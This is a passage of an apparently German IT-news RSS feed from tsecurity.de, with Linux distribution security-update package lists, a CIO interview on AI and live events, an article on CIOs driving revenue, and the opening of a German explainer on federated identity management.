nix, ocean-sound-theme, oxygen-sounds, pam-kwallet, plasma-activities, plasma-activities-stats, plasma-breeze, plasma-browser-integration, plasma-desktop, plasma-dialer, plasma-discover, plasma-disks, plasma-drkonqi, plasma-firewall, plasma-integration, plasma-keyboard, plasma-login-manager, plasma-milou, plasma-mobile, plasma-nano, plasma-nm, plasma-oxygen, plasma-pa, plasma-print-manager, plasma-sdk, plasma-setup, plasma-systemmonitor, plasma-systemsettings, plasma-thunderbolt, plasma-vault, plasma-welcome, plasma-workspace, plasma-workspace-wallpapers, plasma-workspace-x11, plasma5support, plymouth-kcm, plymouth-theme-breeze, podman, polkit-kde, powerdevil, qqc2-breeze-style, sddm-kcm, skopeo, spacebar, spectacle, thunderbird, and xdg-desktop-portal-kde), <b>Mageia</b> (cockpit-338), <b>Oracle</b> (capstone, cockpit, firefox, fontforge, freerdp, golang-github-openprinting-ipp-usb, kernel, nghttp2, nodejs:20, nodejs:24, openexr, and squid), <b>Red Hat</b> (gnutls, libarchive, libpng, libpng12, libpng15, libtiff, libvpx, libxslt, multiple packages, python, python3, python3.11, python3.12, and python3.9), <b>Slackware</b> (libxml2), <b>SUSE</b> (apache-pdfbox, azure-storage-azcopy, corosync, cups, freerdp, iproute2, libsdb2_4_2, libtpms, NetworkManager, openssl-1_1, ovmf, plexus-utils, python, python-CairoSVG, python-jwcrypto, python-PyJWT, python-pyOpenSSL, python-urllib3, python3, python314, rust1.93, shim, smc-tools, terraform-provider-local, terraform-provider-random, terraform-provider-tls, thunderbird, tiff, util-linux, and vim), and <b>Ubuntu</b> (libowasp-esapi-java, linux, linux-aws, linux-aws-5.15, linux-gcp, linux-gke, linux-gkeop, linux-lowlatency, linux-lowlatency-hwe-5.15, linux-nvidia, linux-oracle, linux, linux-aws, linux-aws-6.8, linux-gcp, linux-gke, linux-gkeop, linux-ibm, linux-lowlatency, linux-lowlatency-hwe-6.8, linux, linux-realtime, linux-aws-fips, linux-fips, linux-gcp-fips, linux-fips, linux-gcp-fips, linux-gcp, linux-gcp-6.17, linux-hwe-5.15, linux-intel-iot-realtime, linux-realtime, linux-nvidia, linux-nvidia-6.8, linux-nvidia-lowlatency, linux-nvidia-tegra, linux-nvidia-tegra, linux-nvidia-tegra-igx, linux-realtime, linux-realtime-6.8, linux-realtime-6.17, ofono, and ruby-rack).]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Thursday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (bind, bind9.16, bind9.18, cockpit, fence-agents, firefox, fontforge, git-lfs, grafana, grafana-pcp, kernel, nghttp2, nginx, nginx:1.24, nginx:1.26, nodejs:20, nodejs:22, nodejs:24, pcs, perl-XML-Parser, perl:5.32, resource-agents, squid:4, thunderbi...]]></description>
<link>https://tsecurity.de/de/3438867/linux-tipps/security-updates-for-thursday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3438867/linux-tipps/security-updates-for-thursday/</guid>
<pubDate>Thu, 16 Apr 2026 15:15:09 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (bind, bind9.16, bind9.18, cockpit, fence-agents, firefox, fontforge, git-lfs, grafana, grafana-pcp, kernel, nghttp2, nginx, nginx:1.24, nginx:1.26, nodejs:20, nodejs:22, nodejs:24, pcs, perl-XML-Parser, perl:5.32, resource-agents, squid:4, thunderbird, and vim), <b>Debian</b> (incus, lxd, and python3.9), <b>Fedora</b> (cef, composer, erlang, libpng, micropython, mingw-openexr, moby-engine, NetworkManager-ssh, perl, perl-Devel-Cover, perl-PAR-Packer, polymake, pypy, python-cairosvg, python-flask-httpauth, and python3.15), <b>Mageia</b> (kernel, kmod-virtualbox, kmod-xtables-addons and kernel-linus), <b>Oracle</b> (\cockpit, bind, bind9.16, bind9.18, firefox, git-lfs, go-toolset:ol8, grafana, grafana-pcp, grub2, kea, kernel, libtiff, nghttp2, nginx, nginx:1.24, nginx:1.26, nodejs22, nodejs24, nodejs:22, nodejs:24, perl-XML-Parser, python3.9, thunderbird, uek-kernel, and vim), <b>Red Hat</b> (delve, go-toolset:rhel8, golang, golang-github-openprinting-ipp-usb, osbuild-composer, and rhc), <b>SUSE</b> (bind, Botan, cockpit, cockpit-subscriptions, expat, flatpak, glibc, goshs, himmelblau, kea, kernel, kubo, libpng16, libssh, log4j, mariadb, Mesa, netty, netty-tcnative, nfs-utils, nghttp2, nodejs20, openssl-3, pam, pcre2, python, python310, python311, python311-aiohttp, python311-rfc3161-client, python313, python36, rubygem-bundler, sqlite3, sudo, tigervnc, tomcat, tomcat10, tomcat11, util-linux, vim, and webkit2gtk3), and <b>Ubuntu</b> (dotnet8, dotnet9, dotnet10, frr, and linux-azure, linux-azure-4.15).]]></content:encoded>
</item>
<item>
<title><![CDATA[CIO Sanjay Shringarpure invites you to reimagine the event experience]]></title>
<description><![CDATA[Throughout his career, Sanjay Shringarpure has developed a reputation for doing what most technology leaders aspire to but few consistently achieve: using technology to reimagine what’s possible for companies and entire industries. He has successfully led transformation across multiple sectors an...]]></description>
<link>https://tsecurity.de/de/3438094/it-security-nachrichten/cio-sanjay-shringarpure-invites-you-to-reimagine-the-event-experience/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3438094/it-security-nachrichten/cio-sanjay-shringarpure-invites-you-to-reimagine-the-event-experience/</guid>
<pubDate>Thu, 16 Apr 2026 11:35:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Throughout his career, Sanjay Shringarpure has developed a reputation for doing what most technology leaders aspire to but few consistently achieve: using technology to reimagine what’s possible for companies and entire industries. He has successfully led transformation across multiple sectors and currently serves as CIO of The Freeman Company, a collective of brands that delivers complex live events, at scale.</p>



<p>Shringarpure is a master at the intangibles of leadership. In a recent episode of the <a href="https://linktr.ee/techwhisperers" rel="nofollow">Tech Whisperers podcast</a>, we explored how he leverages those key differentiators — including his ability to see patterns early, move with healthy impatience, challenge people candidly but respectfully, and build belief in what’s possible — to become a true force multiplier for the companies where he’s worked.</p>



<p>After the episode wrapped, we spent some time exploring his playbook for reimagining and reinventing industries, a particularly timely conversation considering how fast things are moving today. In this Q&amp;A, edited for length and clarity, Shringarpure shares how technology leaders can identify new opportunities, mobilize organizations around bold ideas, and turn innovation into real business impact.</p>



<p><strong>Dan Roberts: </strong><strong>What areas are you focusing on at The Freeman Company as you think about reinventing the experience itself, not just improving the technology behind it?</strong></p>



<p><strong>Sanjay Shringarpure:</strong> I’m primarily focused on three things: One, creating a digital experience through digital twinning. Two, simultaneously making sure the digital twin and the physical live event come together — through an ecommerce platform, from a purchasing perspective, execution perspective, all of that. And third, opening new avenues for efficiency and value driven by AI, whether that’s for insight generation or simply doing rote tasks better, or using Claude to rewrite applications that traditionally would be custom off-the-shelf applications that you’d buy.</p>



<p>Where AI code development is right now, we’re getting to a point where the barriers for custom software have dramatically disappeared. So the idea is, can I leverage this for the core competitive advantages that I have? For ecom platforms, demand engines, digital twinning, digital asset management — things that we can potentially build from scratch in weeks what would have taken nine or 10 months and millions of dollars previously. What we’re trying to figure right now is, how do you create that across our enterprise?</p>



<p>The Freeman Company is also at a unique point where the digital and the physical world are colliding, whether it be robotics, virtual events, virtual digital activations of customers who then translate into physical interactions, or vice versa. How do we create a technological foundation and a layer that accelerates that and makes it one seamless live event experience, even if it’s in the digital world?</p>



<p>There’s another component as well. Because of AI, the technological layer doesn’t have to be built for humans. That sounds a little bit weird, right? Everything we build in software today is because a human uses it. As agentic AI and synthetic capital start evolving, and synthetics start being built out, it’s synthetics talking to synthetics, avatars talking to avatars. You’re consuming the output of those interactions. When it comes to writing software, it needs to interact in that way. You can’t apply the same patterns that have been applied for the last 50 years.</p>



<p><strong>How do you envision data and AI transforming the way events are designed, experienced, and measured in the years ahead?</strong></p>



<p>In the age of AI, data is the currency; it’s how you measure value. And it’s not just raw data. It’s raw data plus context around that data — the data halo of context. Today, I think The Freeman Company is in that unique position to have all of this. We are now building out not just contextual capture across events through digital twinning, AI, and raw data coming in; we’re housing that inside our data lake, powered by Snowflake, and then applying AI models to generate insights out of that through my data analytics arm.</p>



<p>Is this going to be easy to achieve? No, because contextual data changes at speed. We’re hoping with the introduction of AI that speed will be handled and insights will be generated in a timely way for the action to be timely. It’s about how to compress data collection, insight generation, and action into days and weeks, rather than the months it takes today. Right now, what happens is the insight gets generated, then it takes forever for it to be actioned, and by the time it’s actioned, the insight is stale. You’re fighting last year’s war.</p>



<p><strong>Do you see the industry evolving toward year-round experience platforms? What role will technology play in extending the value of events beyond the physical venue?</strong></p>



<p>It would be easy to say everything’s going to be digital. But what I’m finding as I get into the industry more is that live events are becoming more important to every generation. The reason is, the digital has overtaken our day-to-day lives, and we crave the physical interaction, the experiential interaction. And we’re willing to pay more for that, because the value we get from that is crucial.</p>



<p>That is not to say we shouldn’t create simultaneous events for agents, or interaction for agents with the physical event. The folks who are going to win in this space are those who build the best physical, experiential events, layered with an interaction in the digital world. In the physical world, there are limitations. I can only attend so many booths, so many sessions, so many interactions. And yes, they’re now virtual, so I can record them and look at them. But by creating an agentic interface, you could have your agents attend all of these in real-time and provide you a day-to-day synopsis of how insights from every session can potentially be leveraged in your strategy.</p>



<p>This is probably sci-fi-ish right now, but I don’t think it’s that far away. The events company that can harness all of this together, and I think we’re well on our way to doing that, will have a moat and a competitive advantage and deliver incredible value to its customer base, whether it be associations, corporations, Major League Baseball and sporting events, whatever it is. The question is, how do we get there fast enough? I think the investments [CEO] Janet Dell has allowed us to make are getting us there. We just have to tell our story better, and we’re getting there.</p>



<p><strong>Speaking of science fiction,</strong><strong> just a few years ago concepts like digital twins of venues, AI-driven attendee journeys, immersive hybrid environments, and autonomous services sounded futuristic. Which emerging technologies do you believe will have the biggest impact on the future of experiences, and what is the new killer app that is going to completely disrupt this space?</strong></p>



<p>I think what is going to disrupt the space is more foundational. One, I think custom software development at the speed of light that the AI has enabled will open new worlds we’ve never thought of. You’re not limited by your CRM or your ERP or your ecommerce engine anymore. You think it, it gets built within days, it gets moved to production within weeks. “Agile on steroids” is what AI has enabled.</p>



<p>Second, the killer app is the merger of the physical and the digital world together into a cadence of information flow to you to make decisions. It’s hard to envision that yet, because you go to a conference, association event, Major League Baseball event, or Cricket World Cup, and they give you an app. But they’re not merging your physical experience with the digital experience to a point where they’re now curating your journey. Today, they are point interactions. What would be ideal would be a curated journey that just knows you and knows what you like and helps you achieve your goals, whether it’s selling more of your product at CES, or making contacts at AWS, or generating a CMO network, or promoting what you’re trying to sell.</p>



<p><strong>One of the themes you and I talk about often is the idea of being a “net giver” as a leader. Can you expand on what that means and how that mindset shaped the way you build teams and lead transformation, especially in high-stakes, fast-moving environments?</strong></p>



<p>Servant leadership is a behavior I truly believe in. A true team can only be built when a leader focuses not just on business outcomes but on the development needs of each individual. Your success as a leader is ultimately amplified by the growth of your team. I make it a point to spend at least 30% of my one-on-one time focused on development plans, growth opportunities, and helping people stretch into what they’re capable of becoming.</p>



<p>But for me, this goes beyond traditional notions of servant leadership. Operating with a net giver mindset means investing in people without keeping score, creating opportunities before they’re asked for, and building belief in individuals sometimes before they see it in themselves. In high-stakes, fast-moving environments, you don’t have the luxury of carrying passengers; you need leaders at every level. That only happens when people feel genuinely supported, challenged, and trusted to step into bigger roles.</p>



<p>When you consistently show up this way, it creates a multiplier effect. Teams move faster because trust is already established. They take smarter risks because they know they’re backed. And they push beyond perceived limits because someone has invested in their growth along the way. In transformation, technology may set the direction, but it’s the development of people and the belief you instill in them that ultimately determines how far and how fast you can go.</p>



<p><strong>During the podcast, you emphasized that the most effective CIOs don’t just deploy technology, they use it to redefine what’s possible for their organizations and industries. What advice would you give the next generation of CIOs who aspire to lead that kind of transformation?</strong></p>



<p>First is make the investment of time in learning. You have to learn the patterns of the industry that you’re in, the give and take, the execution patterns, the way-we-make-money patterns. Then you have to apply a base philosophy of how you’re going to help the transformation. I start with, how do I want to organize my department? How do I create focus? Then I add the guiding principles of transparency, accountability, surprise and delight, all of those basic things — build that into cadences of interaction that create a self-fulfilling, virtuous cycle. And then rinse and repeat every week.</p>



<p>Build your network, but don’t build it at scale. Build your network incredibly choice-fully. Pick people who make you smarter. There’s a reason why I spend time with you or certain other folks. I’m very selective. You don’t see me out there at industry events at scale. I’m not networking every two minutes. Because I’m not looking for my next job. What I’m trying to do is build something great, and then the next job automatically comes. You don’t have to go find it; it finds you.</p>



<p>Focus on building. Focus on you. Focus on your team. Focus on driving value for the company. If you do it, the outside marketing happens by itself. And don’t try to chase the dollars. If you continually chase the dollars every three years, you’ll have two gigs, maybe three, and then you’re done.</p>



<p>I also think the crucible projects, crucible events, are important. You’ve got to run to them. Not, “Okay, I’m gonna do it.” No, you’ve got to create the craving for them. And be okay with the consequences. I’ve failed many times in my career, and it’s okay. You deal with a consequence, knowing that this isn’t forever, and your next win will wipe all that away.</p>



<p><em>Sanjay Shringarpure has developed a distinctive leadership playbook that has enabled him to thrive across multiple industries, building trust, unlocking belief, elevating teams to levels they didn’t think they could reach, and reinventing entire companies and industries in the process. For a true masterclass on the intangibles of leadership that matter, tune in to my conversation with Shringarpure on </em><a href="https://linktr.ee/techwhisperers" rel="nofollow"><em>the Tech Whisperers</em></a><em> podcast.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3437430/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3437430/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Thu, 16 Apr 2026 07:01:18 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3430735/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3430735/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Tue, 14 Apr 2026 07:01:35 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3429934/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3429934/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Mon, 13 Apr 2026 20:46:21 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[5 ways modern CIOs are moving from cost centers to profit engines]]></title>
<description><![CDATA[For decades, the standard playbook for a CIO was defined by defensive metrics such as uptime, ticket resolution and budget containment. As we navigate 2026 and beyond, that playbook has been effectively retired. In an era where technology is critical to the core value proposition, the CIO has tra...]]></description>
<link>https://tsecurity.de/de/3428777/it-nachrichten/5-ways-modern-cios-are-moving-from-cost-centers-to-profit-engines/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3428777/it-nachrichten/5-ways-modern-cios-are-moving-from-cost-centers-to-profit-engines/</guid>
<pubDate>Mon, 13 Apr 2026 14:07:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For decades, the standard playbook for a CIO was defined by defensive metrics such as uptime, ticket resolution and budget containment. As we navigate 2026 and beyond, that playbook has been effectively retired. In an era where technology is critical to the core value proposition, the CIO has transitioned from the custodian of infrastructure to the architect of enterprise value.</p>



<p>According to <a href="https://www.mckinsey.com/capabilities/mckinsey-technology/our-insights/mckinsey-global-tech-agenda-2026" target="_blank" rel="nofollow">McKinsey’s 2026 Global Tech Agenda</a>, nearly 50% of top-performing companies now engage in continuous, iterative co-creation of strategic plans between business and tech leaders. CIOs are no longer merely sitting at the table; they are shaping the overall strategy. It is the only viable path to remaining relevant in a hyper-competitive C-suite.</p>



<h2 class="wp-block-heading">The pivot: Stop talking about “uptime” and start talking about “time-to-market”</h2>



<p>To penetrate the inner circle of an enterprise strategy, you must perform a radical linguistic and mental pivot. The board of directors is rarely concerned with 99.9% availability if a market-critical product takes eighteen months to ship. Reliability is now considered “table stakes” rather than a competitive advantage. Growth-oriented CIOs prioritize velocity and revenue impact over mere operational stability. Here are the five strategic pillars required to execute that shift.</p>



<h3 class="wp-block-heading">1. Monetizing data silos: Turning latent assets into revenue streams</h3>



<p>Every enterprise sits on a goldmine of “telemetry” which is the massive trail of behavioral and operational data generated by daily transactions. Historically, organizations stored this information strictly for compliance. Today, forward-thinking leaders refine it to fuel the P&amp;L.</p>



<p>Strategic CIOs are identifying high-value opportunities to transform these dormant silos into external-facing products. Whether providing anonymized industry benchmarks to the market or building proprietary AI models that partners can license, your infrastructure is no longer a cost to be managed. It is an inventory to be capitalized.</p>



<h3 class="wp-block-heading">2. The “platform” mindset: Building ecosystems for exponential scale</h3>



<p>Modern leaders are moving away from purchasing isolated software to solve departmental problems. Instead, they are focused on building comprehensive ecosystems. <a href="https://www.bain.com/insights/topics/technology-report/" target="_blank" rel="nofollow">Bain &amp; Company’s 2025 Technology Report</a> emphasizes that today’s market leaders outperform their peers by self-disrupting through flexible, modular architectures.</p>



<p>When you architect a platform that allows partners, vendors or customers to integrate with your core services via APIs, you shift from linear growth to network-effect growth. Your IT architecture effectively becomes the business model. This allows the enterprise to scale revenue without a proportional increase in operational headcount.</p>



<h3 class="wp-block-heading">3. Customer-centric architecture: Engineering the buyer’s journey</h3>



<p>Today, user experience serves as the primary competitive differentiator. CIOs have moved beyond a narrow focus on back-office ERP systems to using AI for removal of friction from the customer journey.</p>



<p>Bain’s insights into AI in sales suggest that the new frontier lies in agentic AI. These are autonomous systems that manage lead nurturing and hyper-personalization end-to-end. When IT initiatives reduce checkout friction or shorten the sales cycle by 20%, the CIO’s value is measured in conversion rates rather than system pings.</p>



<h3 class="wp-block-heading">4. Agile capital allocation: The “internal VC” model</h3>



<p>The traditional annual budget cycle often acts as a significant obstacle to modern innovation. High-growth CIOs are adopting the mindset of a Venture Capitalist. Instead of negotiating for a monolithic annual allocation, they move toward “tranche-based” funding models for high-velocity experiments.</p>



<p><a href="https://www.bcg.com/publications/2026/the-ceos-guide-to-growth-seizing-opportunity" target="_blank" rel="nofollow">BCG research</a> highlights that agile companies seize market share by shifting capital significantly faster than their peers. If a pilot project, such as a new AI-driven churn predictor, demonstrates early traction, it receives “Series B” internal funding immediately. This is far more effective than waiting for the next fiscal year.</p>



<h3 class="wp-block-heading">5. The CIO as co-founder: Co-owning the digital P&amp;L</h3>



<p>The final stage of this evolution is the transition to a shared P&amp;L. Modern CIOs are partnering with the CMO and CFO to co-own the success of digital products. In this model, you are not a service provider to the marketing department. You are the co-founder of a digital revenue stream.</p>



<p>As <a href="https://www.bcg.com/publications/2026/as-ai-investments-surge-ceos-take-the-lead" target="_blank" rel="nofollow">BCG’s AI Radar 2026</a> points out, 90% of CEOs believe AI agents will produce measurable returns in 2026. To capture that value, the CIO must be as deeply invested in the “sell” as they are in the “build.” This ensures that every technical sprint maps directly to a revenue milestone.</p>



<h2 class="wp-block-heading">Next steps</h2>



<p>To begin your transition from operational support to strategic engine, consider these high-impact moves:</p>



<ul class="wp-block-list">
<li><strong>Re-align your KPIs to the top line:</strong> Replace “uptime” and “latency” in your next board presentation with “revenue enablement” and “customer acquisition cost (CAC) reduction.”</li>



<li><strong>Audit your “telemetry”:</strong> Identify one internal data set that has potential value for your supply chain partners or customers. Propose a small-scale pilot to monetize this insight through a secure API.</li>



<li><strong>Implement a “growth tranche”:</strong> Carve out 5% of your remaining annual budget to serve as a micro-VC fund. Use this to rapidly prototype three AI-driven features that target customer friction.</li>
</ul>



<h2 class="wp-block-heading">The bottom line</h2>



<p>Transitioning to a strategic business leader requires a shift in focus from “keeping the lights on” to “igniting the engine.” By adopting these five strategies, you position yourself as a primary driver of enterprise value rather than a support function.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Was ist Federated Identity Management?]]></title>
<description><![CDATA[Federated Identity optimiert Komfort und Sicherheit auf Kosten der Komplexität.PeachShutterStock | shutterstock.com



Im Kern der Enterprise Security steht die Zerreißprobe zwischen Benutzerkomfort und Security-Anforderungen. Dabei handelt es sich um einen Balanceakt, der regelmäßig auf Authenti...]]></description>
<link>https://tsecurity.de/de/3427672/it-security-nachrichten/was-ist-federated-identity-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3427672/it-security-nachrichten/was-ist-federated-identity-management/</guid>
<pubDate>Mon, 13 Apr 2026 06:37:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/05/original-fedid_PeachShutterStock.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Fed Identity 16z9" class="wp-image-3989349" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Federated Identity optimiert Komfort und Sicherheit auf Kosten der Komplexität.</figcaption></figure><p class="imageCredit">PeachShutterStock | shutterstock.com</p></div>



<p>Im Kern der Enterprise Security steht die Zerreißprobe zwischen Benutzerkomfort und Security-Anforderungen. Dabei handelt es sich um einen Balanceakt, der regelmäßig auf <a href="https://www.csoonline.com/article/3492872/authentifizierungsfehler-des-cisos-groster-pain.html" title="Authentifizierungsebene" target="_blank">Authentifizierungsebene</a> ausgetragen wird und sich direkt auf das Onboarding- und Anmeldeerlebnis auswirkt. Geht es darum diesen Konflikt aufzulösen, steht Federated Identity an vorderster Front: Sie kann eine <a href="https://www.csoonline.com/article/3492409/schlusselfaktor-collaboration-nur-so-gehen-security-und-cx-zusammen.html" title="gute User Experience" target="_blank">gute User Experience</a> bieten, ohne dabei das Sicherheitsniveau zu beeinträchtigen.</p>



<h3 class="wp-block-heading">Federated Identity Management – Definition</h3>



<p><strong>Identity &amp; Access Management</strong> (<a title="IAM" href="https://www.computerwoche.de/article/2763035/was-sie-ueber-iam-wissen-muessen.html" target="_blank">IAM</a>) ist der übergeordnete Bereich, in dem es um digitale Identitäten und Zugriffsmanagement geht. <strong>Federated Identity Management</strong> (oder förderiertes Identitätsmanagement) ist eine IAM-Kategorie, die darauf fokussiert, ein einziges Authentifizierungsereignis sicher zu ermöglichen, um mehrere Interaktionen oder den Austausch von Identitätsinformationen abzudecken. Mit anderen Worten: Federated Identity Management (FIM) ermöglicht vielen Diensten, eine einzige <a title="digitale Identität" href="https://www.computerwoche.de/article/2822140/der-low-brainer-der-digitalen-identitaet.html" target="_blank">digitale Identität</a> gemeinsam zu nutzen. Ein Beispiel für den praktischen Einsatz von FIM wäre, wenn Sie sich bei Twitter mit ihrem Google-Konto anmelden.</p>



<p>Föderiertes Identitätsmanagement kann der Benutzererfahrung, der allgemeinen Sicherheit und der Ausfallsicherheit zuträglich sein. Dafür gilt es, folgende Kompromisse einzugehen:</p>



<ul class="wp-block-list">
<li><p>erhöhte architektonische Komplexität,</p></li>



<li><p>Bindung an einen bestimmten Anbieter und</p></li>



<li><p>mögliche Servicekosten.</p></li>
</ul>



<p>Federated Identity Management wird bisweilen mit <a href="https://www.computerwoche.de/article/2778438/wunderwaffe-sso.html" title="Single Sign-On" target="_blank">Single Sign-On</a> (SSO) in einen Topf geworfen. Genau genommen ist SSO allerdings eine Funktion von FIM – und einer seiner wesentlichen Use Cases, den wir im Folgenden näher betrachten. Zuvor noch ein Hinweis: Das Thema Self-Sovereign Identity (oder <a href="https://www.csoonline.com/article/3492414/was-ist-decentralized-identity.html" title="dezentrale Identität" target="_blank">dezentrale Identität</a>) ist wieder <a href="https://www.computerwoche.de/article/2797937/wie-digitale-identitaet-per-blockchain-geht.html" title="eine andere Baustelle" target="_blank">eine andere Baustelle</a>.</p>



<h3 class="wp-block-heading">Anwendungsfall (Federated) Single-Sign On</h3>



<p>Man unterscheidet zwei Arten von Single Sign-on: Einerseits das, was für Anwendungen innerhalb einer einzelnen Organisation gilt, und andererseits das, was organisationsübergreifend gilt. Ersteres wird in der Regel einfach als Single Sign-on bezeichnet, manchmal auch als “Enterprise Single Sign-on”. Letzteres fällt unter den Begriff Federated Single Sign-on (FSSO).</p>



<p>Die High-Level-Architektur, um beide SSO-Formen abzudecken, sieht folgendermaßen aus:</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img decoding="async" alt="Der Blick auf eine High-Level-SSO-Architektur." title="Der Blick auf eine High-Level-SSO-Architektur." src="https://images.computerwoche.de/bdb/3357723/1200x.jpg" width="1200" loading="lazy"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Der Blick auf eine High-Level-SSO-Architektur.</p></figcaption></figure><p class="imageCredit"> Foto: Foundry / Matthew Tyson</p></div><p>In jedem Fall erfordert Federated Identity Management eine zentrale Institution, die die gemeinsamen Anmeldeinformationen zwischen den verschiedenen Diensten vermittelt. Dabei kann es sich um einen Identity Manager handeln, der:</p>



<ul class="wp-block-list">
<li><p>von der Organisation selbst erstellt wurde (etwa unter Verwendung von <a title="Active Directory" href="https://www.csoonline.com/article/3495134/neue-angriffsmoglichkeitenwie-azure-ad-neue-authentifizierungsrisiken-eroffnet.html" target="_blank">Active Directory</a>).</p></li>



<li><p>über einen Identitätsanbieter in unterschiedlichem Umfang bereitgestellt wird.</p></li>
</ul>



<p><strong>Enterprise Single Sign-on</strong> deckt oft Situationen ab, in denen sich Mitarbeiter mehrfach bei internen Systemen anmelden müssen, beispielsweise an HR-Portal und IT-Ticketsystem. Dieses Konzept birgt offensichtliche UX-, aber auch systemische Probleme, weil Identitätsinformationen über heterogene Systeme verteilt werden. Dieser Umstand beeinträchtigt die Sicherheit und erschwert es, Richtlinien durchzusetzen. So müssen etwa bei On- und Off-Boarding eines Mitarbeiters gleich zwei verschiedene Datenspeicher geändert werden.</p>



<p><strong>Federated Single Sign-on</strong> ermöglicht die gemeinsame Nutzung von Anmeldeinformationen über Unternehmensgrenzen hinweg. Als solches stützt es sich in der Regel auf eine große, gut etablierte Einheit mit weitreichendem Trust – beispielsweise Google, Microsoft oder Amazon. Selbst eine kleine Applikation kann relativ einfach um die Option “Anmelden bei Google” ergänzt werden und den Nutzern eine einfache Anmeldemöglichkeit bieten, bei der sensible Informationen in den Händen der großen Organisation bleiben.</p>



<h3 class="wp-block-heading">Federated SSO implementieren</h3>



<p>Der Aufbau einer Federated SSO-Lösung richtet sich nach den jeweils spezifischen Anforderungen. Die allgemeinen Schritte sind dabei jedoch identisch:</p>



<ul class="wp-block-list">
<li><p><strong>Identity Provider einrichten:</strong> Entweder, Sie stellen eine zentralisierte Identity Infrastructure bereit oder Sie richten ein Konto bei einem Federated-Identity-Anbieter ein (Google, Microsoft, Okta). Auch eine Möglichkeit: Sie kreieren eine Mischform.</p></li>



<li><p><strong>Provider mit Anwendungsinformationen füttern:</strong> So konfigurieren Sie den Identity Provider und schaffen die Grundlage, dass sich Applikationen mit dem Anbieter verbinden können.</p></li>



<li><p><strong>Provider-Anmeldeinformationen hinzufügen:</strong> Diese werden Sie im nächsten Schritt verwenden, um Ihren Anwendungen mitzuteilen, wie sie sich authentifizieren sollen.</p></li>



<li><p><strong>Applikationen einrichten:</strong> In Ihrem Anwendungscode fügen Sie Abhängigkeiten für die Authentifizierung und Interaktion mit dem Identity-Provider-Service hinzu.</p></li>



<li><p><strong>Neue Authentifizierung integrieren:</strong> Mit dem konfigurierten SSO-Service haben Ihre Benutzer eine Möglichkeit, sich zu authentifizieren. Das funktioniert auch in “transparent”: Anwendungen erkennen und authentifizieren User mit einer Live-Session bei einem anderen Service automatisch. </p></li>
</ul>



<p>Weil es eine einfache Lösung ist, entscheiden sich die meisten Unternehmen heute für einen Cloud Identity Provider im Rahmen eines <a href="https://www.csoonline.com/article/3495412/software-as-a-service-sicherheit-saas-security-braucht-prioritat.html" title="SaaS-Angebots" target="_blank">SaaS-Angebots</a> – sowohl, wenn es um Enterprise als auch wenn es um Federated SSO geht.</p>



<h3 class="wp-block-heading">SSO-Protokolle implementieren</h3>



